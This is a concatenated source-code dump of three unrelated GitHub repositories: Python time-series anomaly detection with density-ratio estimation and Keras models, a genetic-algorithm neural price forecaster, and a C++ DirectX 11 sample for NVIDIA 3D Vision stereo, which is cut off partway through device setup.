while piece_size <= minimal_length and chunks_ > 1:
chunks_ //= 2
piece_size = n // chunks_
pieces_cnt = n // piece_size
if chunks > 0 and (n // chunks) >= minimal_length:
piece_size = n // chunks
pieces_cnt = chunks
five_percent_size = math.ceil(piece_size / 20)
print('Computing ratios in parrallel with', pieces_cnt, 'chunks')
for i in nb.prange(pieces_cnt):
start_left = i*piece_size+n_rf_te*2+window_width*2
t = start_left
if i == pieces_cnt - 1:
right = n - 1
else:
right = (i+1)*piece_size
while t < right:
dre = DensityRatioEstimation(sigma, window_width, n_rf_te)
dre.build(df[i*piece_size:right+1], eps, min_delta, iterations)
while t < right:
if verbose and ((t - i * piece_size) % five_percent_size == 0):
print(i, 5 * (t - i * piece_size) // five_percent_size, '%')
dre.update_by_next_sample(learning_rate, reg_parameter)
ratios[t] = dre.compute_likelihood_ratio()
t += 1
if tresh != -1 and ratios[t - 1] > tresh:
change_points.append(t - 1)
t += n_rf_te + n_rf_te - 1
break
ratios[i*piece_size: start_left] = np.mean(ratios[start_left+1:right])
return ratios, change_points
def find_abnormal_idxs(ratios, window_width, amount=3):
abnormal_idxs, _ = find_peaks(ratios, distance=window_width)
abnormal_idxs = sorted(abnormal_idxs, key=lambda idx:abs(ratios[idx]))[-amount:]
return abnormal_idxs
def kernel_width_selection(Y, search_params, DDRE_params):
"""
Finds appropriate width of rolling window
param `Y` - data with shape (n, d)
param `additional_params` - params for finding window width and sigma
param `DDRE_params` - params that would be passed to `ddre_ratios` function
Returns tuple of elements:
1. Sum squared distance beetwen mean of non change-points derivatives of ratios and
change-points derivatives of ratios for every width candidate in `width_candidates`
2. Optimal width that corresponds to maximal sum squared distance
3. Optimal sigma
"""
ssds = []
optimal_sigmas = []
width_candidates = search_params['width_candidates']
sigma_candidates = search_params['sigma_candidates']
chunk_size = search_params['chunk_size']
R = search_params.get('R', 3)
if len(width_candidates) == 1:
_, optimal_sigma = kernel_sigma_selection(Y, width_candidates[0], sigma_candidates,
chunk_size, R)
return ssds, width_candidates[0], optimal_sigma
for candidate in width_candidates:
DDRE_params['window_width'] = candidate
print('Candidate', candidate)
_, optimal_sigma = kernel_sigma_selection(Y, candidate, sigma_candidates,
chunk_size, R)
DDRE_params['sigma'] = optimal_sigma
optimal_sigmas.append(optimal_sigma)
n = chunk_size * (2 * R - 1) + 2 * candidate
ratios, _ = ddre_ratios(Y[:n], **DDRE_params)
abnormal_idxs = find_abnormal_idxs(ratios, candidate)
normal_idxs = inverse_ids(abnormal_idxs, ratios.shape[0])
scaled = StandardScaler().fit_transform(ratios[ratios.nonzero()[0], None]).ravel()
ratios[ratios.nonzero()[0]] = scaled
abnormal = ratios[abnormal_idxs]
ssd = np.nanmean((abnormal[~np.isnan(abnormal)] - np.nanmean(ratios[normal_idxs])) ** 2)
ssds.append(ssd)
return ssds, width_candidates[np.nanargmax(ssds)], optimal_sigmas[np.nanargmax(ssds)]
def compute_ratios_hp(y, search_params, DDRE_params):
"""
Finds density ratios with hyperparameter search.
Optimal values will be added to DDRE_params dictionary.
"""
print('Finding hyperparams...')
_, window_width, sigma = kernel_width_selection(y, search_params, DDRE_params)
print(f'\nOptimal width is {window_width}\n')
DDRE_params['window_width'] = window_width
DDRE_params['sigma'] = sigma
print('Starting compute ratios...')
ratios, chng_pts = ddre_ratios(y, **DDRE_params)
peaks = find_abnormal_idxs(ratios, window_width)
return ratios, chng_pts, peaks
<file_sep>/src/models/anomalies/autoencoder.py
from keras import Sequential
from keras.layers import Dense, Input, Dropout
from keras.regularizers import l2
from keras.models import Model
import keras
import numpy as np
def create_autoencoder(input_shape, hidden_layer_size,
hidden_layer_activation=None,
reg_strength=0.01, input_dropout=0.1):
"""
Creates autoencoder model with hidden layer of size `hidden_layer_size`
If `input_dropout` is in range [0, 1] then would be added Dropout on input data with `input_dropout` rate
"""
model = Sequential()
if 0 < input_dropout < 1:
model.add(Dropout(input_dropout))
model.add(Dense(
hidden_layer_size,
input_shape=(input_shape,),
activation=hidden_layer_activation,
kernel_regularizer=l2(reg_strength)
))
model.add(Dense(input_shape, kernel_regularizer=l2(reg_strength)))
return model
def build_autoencoder(create_params, compile_params):
"""
Creates and builds autoencoder model with `create_params` used for call `create_autoencoder`
If `compile_params` has not `loss` then `mae` would be used for training
"""
model = create_autoencoder(**create_params)
compile_params['loss'] = compile_params.get('loss', 'mae')
model.compile(**compile_params)
return model
def build_matrix_autoencoder(input_length, create_params, compile_params):
"""
Builds several autoencoders each used for every feature vector in Matrix
"""
inputs = [Input(shape=(create_params['input_shape'],)) for i in range(input_length)]
models = [create_autoencoder(**create_params) for i in range(input_length)]
outputs = [model(inputs[i]) for i, model in enumerate(models)]
final_model = Model(inputs=inputs, outputs=outputs)
compile_params['loss'] = compile_params.get('loss', 'mae')
final_model.compile(**compile_params)
return final_model
<file_sep>/src/find_anomalies.py
import numpy as np
import pandas as pd
from src.models.DDRE import *
from src.models.anomalies import (
build_lstm,
fit_generator,
find_optimal_tresh,
find_anomaly,
compute_diff
)
import keras
import time
timestr = time.strftime("%Y%m%d-%H%M%S")
data = pd.read_csv('data/processed/example.csv', index_col='Index')
print(f'Len of dataset: {data.shape[0]}')
DDRE_search_params = dict(
width_candidates=[50, 60, 70, 80, 100],
sigma_candidates=np.array([0.1, 0.5, 1, 5, 10, 20, 50], dtype=np.float32),
chunk_size=100,
R=3,
)
DDRE_params = dict(
n_rf_te=50,
verbose=True,
# build args
eps=0.001, min_delta=0.01, iterations=100,
# update args
learning_rate=1, reg_parameter=0.01,
)
ratios, chng_pts, peaks = compute_ratios_hp(data.to_numpy(), DDRE_search_params, DDRE_params)
np.save('result/ratios-%s.npy' % (timestr, ), ratios)
np.save('result/chng_pts-%s.npy' % (timestr, ), chng_pts)
np.save('result/peaks-%s.npy' % (timestr, ), peaks)
window_length=64
prediction_len=2
LSTM_build_params = dict(
input_length=window_length,
input_shape=data.shape[1],
lstm_layers_size=[32, 32],
dropout_coeff=0.1,
optimizer=keras.optimizers.Adam(lr=0.01),
reg_strength=0.005,
)
batch_size = 64
LSTM_fit_params = dict(
epochs=20,
verbose=1,
callbacks=[keras.callbacks.ReduceLROnPlateau(patience=3),
keras.callbacks.EarlyStopping(min_delta=0.01, patience=2)]
)
boundaries = np.concatenate(([0], peaks, [data.shape[0]]))
anom_idxs = []
for i, (left, right) in enumerate(zip(boundaries[:-1], boundaries[1:])):
if right - left < window_length + prediction_len:
print(f'Piece {i} from {left} to {right} is too small. Continuing without current piece...')
continue
print(f'Piece {i} from {left} to {right}...')
piece = data.iloc[left:right]
X = rolling_window(piece, window_length, 0)[:-prediction_len]
y = rolling_window(piece, window_length, prediction_len)
model = build_lstm(**LSTM_build_params)
b_size = min(len(y), batch_size)
model.fit_generator(fit_generator(X, y, b_size), **LSTM_fit_params, steps_per_epoch=max(int(0.2 * len(X) / b_size), 1))
tresh = find_optimal_tresh(model, X, y, piece.shape, window_length, prediction_len, True)
start_idxs = find_anomaly(compute_diff(model, X, y), tresh)
for i in start_idxs:
anom_idxs.extend(range(i+left, i+left+window_length))
np.save('result/anom_idxs-%s.npy' % (timestr, ), anom_idxs)
<file_sep>/src/visualization/visualize.py
import matplotlib.pyplot as plt
import numpy as np
def visualize_cv_result(results, suptitle):
"""
Visualizes results of cross validation, that was gotten from `utils.cross_validate`
"""
plt.figure(figsize=(5 * len(results), 5))
plt.suptitle(suptitle)
for i, result in enumerate(results):
plt.subplot(1, len(results), i + 1)
plt.title(f'Fold {i}')
plt.plot(result['val_loss'], '-', label=f'validation loss')
plt.plot(result['loss'], '--', label=f'train loss')
plt.xlabel('Epoch')
plt.ylabel('Loss')
plt.legend()
def plot_random(anomalies, normal, random_samples=10):
"""
Plots 2 columns of random abnormal and normal samples
"""
rand_anomalies = np.random.choice(len(anomalies), random_samples, replace=False)
rand_normal = np.random.choice(len(normal), random_samples, replace=False)
window_size = 5
plt.figure(figsize=(2*window_size, random_samples*window_size))
for (i, (anom, norm)) in enumerate(zip(anomalies[rand_anomalies], normal[rand_normal])):
plt.subplot(random_samples, 2, 2*i+1)
plt.title('Random abnormal sample ')
plt.plot(anom)
plt.subplot(random_samples, 2, 2*i+2)
plt.title('Random normal sample')
plt.plot(norm)
from bokeh.plotting import figure, output_file, show
def ratios_plot(ratios, peaks, anom_start_idxs=None, anomaly_length=None, window_width=None):
p = figure(plot_width=800, plot_height=600, tools="xwheel_zoom,pan,box_zoom,reset")
p.line(np.arange(ratios.shape[0]), ratios, line_width=2)
p.scatter(peaks, ratios[peaks], fill_color="red", size=15)
if anom_start_idxs is not None:
for start_idx in anom_start_idxs[:, 0]:
start_idx -= window_width
r = start_idx + anomaly_length
if start_idx < 0:
r += start_idx
start_idx = 0
x = np.arange(start_idx, start_idx+anomaly_length)
p.line(x, ratios[x], line_width=2, color="red")
show(p)<file_sep>/src/utils.py
import numpy as np
from sklearn.model_selection import TimeSeriesSplit
def cross_validate(model_fn, n_splits, fit_params, X, y):
"""
Cross validates time-series data.
"""
tssplit = TimeSeriesSplit(n_splits=n_splits)
results = []
for i, (train_idx, test_idx) in enumerate(tssplit.split(X, y)):
print(f'Fold {i}...')
model = model_fn()
history = model.fit(X[train_idx],
y[train_idx],
validation_data=(X[test_idx], y[test_idx]),
**fit_params)
results.append(history.history)
return results
def inverse_ids(ids, rng):
"""
Finds indexes that is not in `ids` in range [0, rng]
"""
return [i for i in range(rng) if i not in ids]
import torch
from torch.utils.data import TensorDataset, DataLoader
def to_torch_dataloader(X, y, params):
X = torch.tensor(X).float()
y = torch.tensor(y).squeeze().float()
dataset = TensorDataset(X, y)
return DataLoader(dataset, **params)<file_sep>/src/data/generate.py
import numpy as np
import pandas as pd
from itertools import product
def generate_anomalies(length):
"""
Generates different types of one dimensional anomalies with length `window_length`
"""
anomalies = [
np.random.randint(1, 4) * np.sin(k * np.linspace(0, 2 * np.pi, num=length))
for k in range(1, 20)
]
return np.array(anomalies)
def insert_anomalies(X, amount, axis=None, anomaly_length=None):
"""
Inserts anomalies in copy of `X` to the specified `axis`. If `axis` is `None`, then last dimension will be choosed
param `amount` characterizes amount of anomalies needed to insert in `X`
param `anomaly_length` - length of anomaly. If it is `None` then anomaly will be inserted at whole len of `axis`
Returns `X` with anomalies inserted, and indexes of starting points of anomalies where they was inserted
"""
ax = axis if axis is not None else -1
anomaly_length = anomaly_length if anomaly_length is not None else X.shape[ax]
assert len(X.shape) >= 1 and anomaly_length <= X.shape[ax]
if isinstance(X, pd.DataFrame):
X = X.to_numpy()
else:
X = X.copy()
if axis != None:
X = np.swapaxes(X, len(X.shape)-1, axis)
list_to_product = [range(x) for x in X.shape[:-1]] + [range(X.shape[-1] - anomaly_length + 1)]
if anomaly_length is None:
anomaly_length = X.shape[-1]
anomalies = generate_anomalies(anomaly_length)
all_idxs = np.array(list(product(*list_to_product)))
anom_idxs = np.random.choice(len(all_idxs), amount, replace=False)
anom_types = np.random.choice(len(anomalies), amount)
for i, idx in enumerate(anom_idxs):
X[tuple(all_idxs[idx, :-1]) + (slice(all_idxs[idx, -1], all_idxs[idx, -1] + anomaly_length), )] = anomalies[anom_types[i]]
idxs = all_idxs[anom_idxs]
if axis != None:
X = np.swapaxes(X, len(X.shape)-1, axis)
idxs[:, [len(X.shape)-1, axis]] = idxs[:, [axis, len(X.shape)-1]]
return X, idxs
|
35ca32e430c5f25c27600d6023a6f89ce76f301b
|
[
"Python"
] | 11 |
Python
|
RSIP4SH/anomaly-detection
|
3fec9be57c0169c84e3dda7b9bfaca4b2b88f4fa
|
d58f63330a699dc0d5a6ea8bfa5c758db834de4b
|
refs/heads/master
|
<repo_name>choticIdea/NeuroGA<file_sep>/Main.py
import random
import math;
import xlrd;
import copy;
def generateKromosom():
genotype = [];
for i in range(0,numWeights*bitsPerElement):
genotype.append(random.randint(0,1));
return genotype;
def getIncrement(k):
i = 0;
inc = 0;
while i < len(k) -1:
inc += k[i+1] - k[i];
i+=1;
return inc;
def createZeros(size):
mat = []
for i in range(size):
mat.append(0);
return mat;
def prepareWeight(h,o,kromosom):
offset = o * h;
w = []
for i in range(offset,offset+h):
w.append(kromosom[i]);
return w
def getData(first,last):
dat =[];
for i in range(first,last+1):
dat.append(data[i][10]);
return dat;
def decodeKromosom(k):
weights = [];
start = len(k)-1;
w = 0;
for i in range(start,-1,-1):
w += math.pow(2, (i % bitsPerElement)) * k[i];
if(i % bitsPerElement == 0 and i < start):
w = (w / maxBitsVal) * (maxWeight - minWeight);
w = w - maxWeight;
weights.append(w);
w = 0;
return weights;
def crossover(pops,a,b):
rng = random.randint(1,100);
cutting = len(a) *(rng/100);
if(cutting == len(a) - 1):
cutting = cutting -1;
x = createZeros(len(a));
y = createZeros(len(a));
for i in range(len(x)):
if(i < cutting):
x[i] = a[i];
y[i] = b[i];
else :
x[i] = b[i];
y[i] = a[i];
pops.append(x);
pops.append(y);
mut = random.randint(0,100);
if(mut > mutationChance):
ma = mutate(x);
mb = mutate(y);
pops.append(ma);
pops.append(mb);
def mutate(k):
rng = random.randint(1,100);
for i in range(len(k)):
if(rng > mutationChance):
if(k[i] == 0):
k[i] = 1;
else :
k[i]=0;
return k;
minWeight = -1;
maxWeight = 1;
inputBits = 3;
maxHiddenLayer = 16;
hiddenLayer = 3;
timeWindow = 3;
maxTimeWindow = 10;
numWeights = (timeWindow*hiddenLayer)+hiddenLayer;
bitsPerElement = 10;
maxBitsVal = math.pow(2,bitsPerElement);
epoch = 0;
maxEpoch = 150;
mutationChance = 40;
book = xlrd.open_workbook("DataHistorisANTAM.xlsx");
sheet = book.sheet_by_index(0);
data = []
drow = []
for row in range(1, sheet.nrows):
drow = [];
for col in range(sheet.ncols):
drow.append(sheet.cell_value(row, col));
data.append(drow);
startingPops = 50;
pops = [];
sumSE = 0;
bestMSE = -1;
for i in range(startingPops):
pops.append(generateKromosom());
while epoch < maxEpoch:
clone = copy.copy(pops);
while len(clone) != 0:
crossover(pops,clone.pop(),clone.pop());
#examining pops
msePop = [];
for p in pops:
last = timeWindow-1;
first = 0;
while (last < len(data)-1):
row = getData(first,last);
first += 1;
last+=1
if(last >= len(data)-1):
last = len(data)-1
inValue = createZeros(hiddenLayer);
t = decodeKromosom(p);
hidden_neuron = [t[0:3], t[3:6], t[6:9]]
output_neuron = t[-3:]
a = [0 for i in range(len(hidden_neuron))]
output = 0
for i in range(len(hidden_neuron)):
tmp = [0 for z in range(len(hidden_neuron[i]))]
tmpSum = [0 for z in range(len(hidden_neuron[i]))]
for j in range(len(hidden_neuron[i])):
tmp[j] = hidden_neuron[i][j] * row[j]
for j in range(len(hidden_neuron[i])):
tmpSum[j] = (tmp[j] - min(tmp)) / abs((max(tmp) - min(tmp)))
a[i] = sum(tmpSum)
a[i] /= float(j+1)
# print a
for i in range(len(output_neuron)):
output += output_neuron[i] * a[i]
output /= float(i+1)
current_input_avg = (abs(row[0] - row[1]) + abs(row[1] - row[2])) / float(2)
avg = output * current_input_avg + row[-1];
# for i in range(len(row)):
# w = prepareWeight(hiddenLayer,i,t);
# for j in range(len(row)):
# inValue[j] += w[j]* row[j];
# sum = 0;
# temp = copy.copy(inValue);
# temp.sort();
# min = temp[0];
# max = temp.pop();
# for i in range(len(inValue)):
# inValue[i] = (inValue[i] - min)/abs((max-min));
# sum+= inValue[i];
# output_sum = 0
# for nz in range(len(output_neuron)):
# output_sum += output_neuron[nz] * inValue[nz]
# # mean = sum/hiddenLayer;
# mean = output_sum / (nz+1)
# avg = mean * getIncrement(row)+row[len(row)-1];# k is the whole input, or every avg coloumn in a time window;
e = 0;
if(last+1 <= len(data) -1):
e = abs(data[last+1][10] - avg);
else:
e = 0;
sumSE += e*e;
# print(temp);
# print(max);
# print(min);
mse = sumSE/(len(data));
sumSE = 0;
msePop.append(mse);
#select parents, generate new pop, replace old one
idx = 0;
for i in range(len(pops)):
for k in range(i, len(pops)):
if (bestMSE == -1 or bestMSE > msePop[k]):
bestMSE = msePop[k];
idx = k;
t = pops[i];
pops[i] = pops[idx];
pops[idx] = t;
t = msePop[i];
msePop[i] = msePop[idx];
msePop[idx] = t;
idx = -1;
bestMSE = -1;
print(msePop);
#cull weak individuals
pops = pops[:startingPops];
msePop = msePop[:startingPops];
print(msePop);
epoch+= 1;
print pops[0]<file_sep>/generate.py
import random
import math;
import xlrd;
import copy;
def decodeKromosom(k):
weights = [];
start = len(k)-1;
bitsPerElement = 10;
maxBitsVal = math.pow(2,bitsPerElement);
minWeight = -1;
maxWeight = 1;
w = 0;
for i in range(start,-1,-1):
w += math.pow(2, (i % bitsPerElement)) * k[i];
if(i % bitsPerElement == 0 and i < start):
w = (w / maxBitsVal) * (maxWeight - minWeight);
w = w - maxWeight;
weights.append(w);
w = 0;
return weights;
all_weights = decodeKromosom([1, 0, 1, 1, 1, 1, 0, 0, 1, 1, 0, 0, 0, 0, 0, 1, 1, 1, 0, 1, 0, 1, 1, 0, 0, 0, 0, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 0, 1, 0, 1, 0, 1, 1, 0, 1, 1, 0, 0, 1, 1, 0, 1, 1, 1, 1, 0, 1, 1, 1, 0, 0, 0, 0, 1, 1, 0, 1, 0, 0, 0, 1, 0, 1, 1, 0, 1, 0, 0, 1, 0, 1, 0, 0, 1, 0, 0, 1, 0, 0, 1, 0, 0, 1, 1, 0, 1, 0, 1, 1, 0, 0, 1, 0, 0, 0, 1, 1, 1, 0, 0, 1, 0, 0, 1, 1, 1, 1, 0, 0])
initial_avg = [714, 697, 714]
hidden_weights = [all_weights[0:3], all_weights[3:6], all_weights[6:9]]
output_weights = all_weights[9:12]
print "hidden weights", hidden_weights
print "output weights", output_weights
for x in range(7):
current_input = initial_avg[-3:]
a = [0 for i in range(len(hidden_weights))]
output = 0
for i in range(len(hidden_weights)):
tmp = [0 for z in range(len(hidden_weights[i]))]
tmpSum = [0 for z in range(len(hidden_weights[i]))]
for j in range(len(hidden_weights[i])):
tmp[j] = hidden_weights[i][j] * current_input[j]
for j in range(len(hidden_weights[i])):
tmpSum[j] = (tmp[j] - min(tmp)) / abs((max(tmp) - min(tmp)))
a[i] = sum(tmpSum)
a[i] /= float(j+1)
# print a
for i in range(len(output_weights)):
output += output_weights[i] * a[i]
output /= float(i+1)
current_input_avg = (abs(current_input[0] - current_input[1]) + abs(current_input[1] - current_input[2])) / float(2)
initial_avg.append(int((output * current_input_avg) + current_input[-1]))
print initial_avg
|
1408160cafae0abc9a9e7a458a44c61449175154
|
[
"Python"
] | 2 |
Python
|
choticIdea/NeuroGA
|
9c12cd7d7425427262fdc324b82e4076635bc0ad
|
f9e7790e04ec5cbe61c79d34c05caa342e83ff15
|
refs/heads/master
|
<repo_name>bo3b/3D-Vision-Automatic<file_sep>/README.md
# 3D-Vision-Automatic
Small stereoscopic sample demonstrating how to use 3D Vision Automatic Mode using DX11.
This is just a simple spinning box sample in DX11, that emulates the way a lot of games create
their swapchains and devices. If running in fullscreen mode, this will be automatically be
stereoized by 3D Vision.
<br>
<br>
This is based upon the Microsoft DX11 Tutorial sample:
https://code.msdn.microsoft.com/windowsdesktop/Direct3D-Tutorial-Win32-829979ef
Newest version:
https://github.com/walbourn/directx-sdk-samples/tree/master/Direct3D11Tutorials
<br>
<br>
The piece used here is only Tutorial_07, which shows the full tutorial with a spinning cube, drawn using shaders and vertex buffer.
The old Tutorial07 was modifed as little as possible, but is not remotely like the newest version which uses DXGI factories
instead of the CreateDeviceAndSwapChain.
<file_sep>/Tutorial07.cpp
//--------------------------------------------------------------------------------------
// File: Tutorial07.cpp
//
// Originally the Tutorial07, now heavily modified to simply demonstrate
// the use of 3D Vision Direct Mode.
//
// http://msdn.microsoft.com/en-us/library/windows/apps/ff729724.aspx
//
// THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF
// ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED TO
// THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A
// PARTICULAR PURPOSE.
//
// Copyright (c) Microsoft Corporation. All rights reserved.
//
//
// Bo3b: 5-8-17
// This sample is derived from the Microsoft Tutorial07 sample in the
// DirectX SDK. The goal was to use as simple an example as possible
// but still demonstrate using 3D Vision Direct Mode, using DX11.
// The code was modified as little as possible, so the pieces demonstrated
// by the Tutorial07 are still valid.
//
// Some documention used for this include this whitepaper from NVidia.
// http://www.nvidia.com/docs/io/40505/wp-05482-001_v01-final.pdf
// Be wary of that document, the code is completely broken, and misleading
// in a lot of aspects. The broad brush strokes are correct.
//
// The Stereoscopy pdf/presentation gives some good details on how it
// all works, and a better structure for Direct Mode.
// http://www.nvidia.com/content/PDF/GDC2011/Stereoscopy.pdf
//
// This sample is old, but it includes some details on modifying the
// projection matrix directly that were very helpful.
// http://developer.download.nvidia.com/whitepapers/2011/StereoUnproject.zip
//
// Bo3b: 5-14-17
// Updated to simplify the code for this code branch.
// In this branch, the barest minimum of DX11 is used, to make the use of
// 3D Vision Direct Mode more clear.
//--------------------------------------------------------------------------------------
#include <windows.h>
#include <d3d11.h>
#include <d3dcompiler.h>
#include <directxmath.h>
#include <directxcolors.h>
#include "resource.h"
#include "nvapi.h"
#include "nvapi_lite_stereo.h"
using namespace DirectX;
//--------------------------------------------------------------------------------------
// Structures
//--------------------------------------------------------------------------------------
struct SimpleVertex
{
XMFLOAT3 Pos;
XMFLOAT2 Tex;
};
struct SharedCB
{
XMMATRIX mWorld;
XMMATRIX mView;
XMMATRIX mProjection;
};
//--------------------------------------------------------------------------------------
// Global Variables
//--------------------------------------------------------------------------------------
HINSTANCE g_hInst = nullptr;
HWND g_hWnd = nullptr;
ID3D11Device* g_pd3dDevice = nullptr;
ID3D11DeviceContext* g_pImmediateContext = nullptr;
IDXGISwapChain* g_pSwapChain = nullptr;
ID3D11RenderTargetView* g_pRenderTargetView = nullptr;
ID3D11Texture2D* g_pDepthStencil = nullptr;
ID3D11DepthStencilView* g_pDepthStencilView = nullptr;
ID3D11VertexShader* g_pVertexShader = nullptr;
ID3D11PixelShader* g_pPixelShader = nullptr;
ID3D11InputLayout* g_pVertexLayout = nullptr;
ID3D11Buffer* g_pVertexBuffer = nullptr;
ID3D11Buffer* g_pIndexBuffer = nullptr;
ID3D11Buffer* g_pSharedCB = nullptr;
XMMATRIX g_World;
XMMATRIX g_View;
XMMATRIX g_Projection;
StereoHandle g_StereoHandle;
UINT g_ScreenWidth = 1280;
UINT g_ScreenHeight = 720;
//--------------------------------------------------------------------------------------
// Forward declarations
//--------------------------------------------------------------------------------------
HRESULT InitWindow(HINSTANCE hInstance, int nCmdShow);
HRESULT InitStereo();
HRESULT InitDevice();
HRESULT ActivateStereo();
void CleanupDevice();
LRESULT CALLBACK WndProc(HWND, UINT, WPARAM, LPARAM);
void RenderFrame();
//--------------------------------------------------------------------------------------
// Entry point to the program. Initializes everything and goes into a message processing
// loop. Idle time is used to render the scene.
//--------------------------------------------------------------------------------------
int WINAPI wWinMain(_In_ HINSTANCE hInstance, _In_opt_ HINSTANCE hPrevInstance, _In_ LPWSTR lpCmdLine, _In_ int nCmdShow)
{
UNREFERENCED_PARAMETER(hPrevInstance);
UNREFERENCED_PARAMETER(lpCmdLine);
if (FAILED(InitWindow(hInstance, nCmdShow)))
return 0;
if (FAILED(InitStereo()))
return 0;
if (FAILED(InitDevice()))
{
CleanupDevice();
return 0;
}
if (FAILED(ActivateStereo()))
{
CleanupDevice();
return 0;
}
// Main message loop
MSG msg = { 0 };
while (WM_QUIT != msg.message)
{
if (PeekMessage(&msg, nullptr, 0, 0, PM_REMOVE))
{
TranslateMessage(&msg);
DispatchMessage(&msg);
}
else
{
RenderFrame();
}
}
CleanupDevice();
return (int)msg.wParam;
}
//--------------------------------------------------------------------------------------
// Register class and create window
//--------------------------------------------------------------------------------------
HRESULT InitWindow(HINSTANCE hInstance, int nCmdShow)
{
// Register class
WNDCLASSEX wcex;
wcex.cbSize = sizeof(WNDCLASSEX);
wcex.style = CS_HREDRAW | CS_VREDRAW;
wcex.lpfnWndProc = WndProc;
wcex.cbClsExtra = 0;
wcex.cbWndExtra = 0;
wcex.hInstance = hInstance;
wcex.hIcon = LoadIcon(hInstance, (LPCTSTR)IDI_TUTORIAL1);
wcex.hCursor = LoadCursor(nullptr, IDC_ARROW);
wcex.hbrBackground = (HBRUSH)(COLOR_WINDOW + 1);
wcex.lpszMenuName = nullptr;
wcex.lpszClassName = L"TutorialWindowClass";
wcex.hIconSm = LoadIcon(wcex.hInstance, (LPCTSTR)IDI_TUTORIAL1);
if (!RegisterClassEx(&wcex))
return E_FAIL;
// Create window
g_hInst = hInstance;
RECT rc = { 0, 0, g_ScreenWidth, g_ScreenHeight };
AdjustWindowRect(&rc, WS_OVERLAPPEDWINDOW, FALSE);
g_hWnd = CreateWindow(L"TutorialWindowClass", L"Direct3D 11 Tutorial 7",
WS_OVERLAPPED | WS_CAPTION | WS_SYSMENU | WS_MINIMIZEBOX,
CW_USEDEFAULT, CW_USEDEFAULT, rc.right - rc.left, rc.bottom - rc.top, nullptr, nullptr, hInstance,
nullptr);
if (!g_hWnd)
return E_FAIL;
ShowWindow(g_hWnd, nCmdShow);
return S_OK;
}
//--------------------------------------------------------------------------------------
// Setup nvapi, and enable stereo by direct mode for the app.
// This must be called before the Device is created for Direct Mode to work.
//--------------------------------------------------------------------------------------
HRESULT InitStereo()
{
NvAPI_Status status;
status = NvAPI_Initialize();
if (FAILED(status))
return status;
// The entire point is to show stereo.
// If it's not enabled in the control panel, let the user know.
NvU8 stereoEnabled;
status = NvAPI_Stereo_IsEnabled(&stereoEnabled);
if (FAILED(status) || !stereoEnabled)
{
MessageBox(g_hWnd, L"3D Vision is not enabled. Enable it in the NVidia Control Panel.", L"Error", MB_OK);
return status;
}
return status;
}
//--------------------------------------------------------------------------------------
// Activate stereo for the given device.
// This must be called after the device is created.
//--------------------------------------------------------------------------------------
HRESULT ActivateStereo()
{
NvAPI_Status status;
status = NvAPI_Stereo_CreateHandleFromIUnknown(g_pd3dDevice, &g_StereoHandle);
if (FAILED(status))
return status;
return status;
}
//--------------------------------------------------------------------------------------
// Helper for compiling shaders with D3DCompile
//
// With VS 11, we could load up prebuilt .cso files instead...
//--------------------------------------------------------------------------------------
HRESULT CompileShaderFromFile(WCHAR* szFileName, LPCSTR szEntryPoint, LPCSTR szShaderModel, ID3DBlob** ppBlobOut)
{
HRESULT hr = S_OK;
DWORD dwShaderFlags = D3DCOMPILE_ENABLE_STRICTNESS;
#ifdef _DEBUG
// Set the D3DCOMPILE_DEBUG flag to embed debug information in the shaders.
// Setting this flag improves the shader debugging experience, but still allows
// the shaders to be optimized and to run exactly the way they will run in
// the release configuration of this program.
dwShaderFlags |= D3DCOMPILE_DEBUG;
// Disable optimizations to further improve shader debugging
dwShaderFlags |= D3DCOMPILE_SKIP_OPTIMIZATION;
#endif
ID3DBlob* pErrorBlob = nullptr;
hr = D3DCompileFromFile(szFileName, nullptr, nullptr, szEntryPoint, szShaderModel,
dwShaderFlags, 0, ppBlobOut, &pErrorBlob);
if (FAILED(hr))
{
if (pErrorBlob)
{
OutputDebugStringA(reinterpret_cast<const char*>(pErrorBlob->GetBufferPointer()));
pErrorBlob->Release();
}
return hr;
}
if (pErrorBlob) pErrorBlob->Release();
return S_OK;
}
//--------------------------------------------------------------------------------------
// Create Direct3D device and swap chain
//--------------------------------------------------------------------------------------
HRESULT InitDevice()
{
HRESULT hr = S_OK;
UINT createDeviceFlags = 0;
#ifdef _DEBUG
createDeviceFlags |= D3D11_CREATE_DEVICE_DEBUG;
#endif
DXGI_SWAP_CHAIN_DESC sd;
ZeroMemory(&sd, sizeof(sd));
sd.BufferCount = 1;
sd.BufferDesc.Width = g_ScreenWidth;// *2; // Swapchain needs to be 2x sized for direct stereo.
sd.BufferDesc.Height = g_ScreenHeight;
sd.BufferDesc.Format = DXGI_FORMAT_R8G8B8A8_UNORM;
sd.BufferDesc.RefreshRate.Numerator = 120; // Needs to be 120Hz for 3D Vision
sd.BufferDesc.RefreshRate.Denominator = 1;
sd.BufferUsage = DXGI_USAGE_RENDER_TARGET_OUTPUT;
sd.OutputWindow = g_hWnd;
sd.SampleDesc.Count = 1;
sd.SampleDesc.Quality = 0;
sd.Windowed = TRUE;
// Create the simple DX11, Device, SwapChain, and Context.
hr = D3D11CreateDeviceAndSwapChain(nullptr, D3D_DRIVER_TYPE_HARDWARE, nullptr, createDeviceFlags, nullptr, 0,
D3D11_SDK_VERSION, &sd, &g_pSwapChain, &g_pd3dDevice, nullptr, &g_pImmediateContext);
if (FAILED(hr))
return hr;
// For DX11 3D, it's required that we run in exclusive full-screen mode, otherwise 3D
// Vision will not activate.
hr = g_pSwapChain->SetFullscreenState(TRUE, nullptr);
if (FAILED(hr))
return hr;
// Create a render target view from the backbuffer
//
// Since this is derived from the backbuffer, it will also be 2x in width.
ID3D11Texture2D* pBackBuffer = nullptr;
hr = g_pSwapChain->GetBuffer(0, __uuidof(ID3D11Texture2D), reinterpret_cast<void**>(&pBackBuffer));
if (FAILED(hr))
return hr;
hr = g_pd3dDevice->CreateRenderTargetView(pBackBuffer, nullptr, &g_pRenderTargetView);
pBackBuffer->Release();
if (FAILED(hr))
return hr;
// Create depth stencil texture
D3D11_TEXTURE2D_DESC descDepth;
ZeroMemory(&descDepth, sizeof(descDepth));
descDepth.Width = g_ScreenWidth;// *2; // Direct stereo needs 2x size
descDepth.Height = g_ScreenHeight;
descDepth.MipLevels = 1;
descDepth.ArraySize = 1;
descDepth.Format = DXGI_FORMAT_D24_UNORM_S8_UINT;
descDepth.SampleDesc.Count = 1;
descDepth.SampleDesc.Quality = 0;
descDepth.Usage = D3D11_USAGE_DEFAULT;
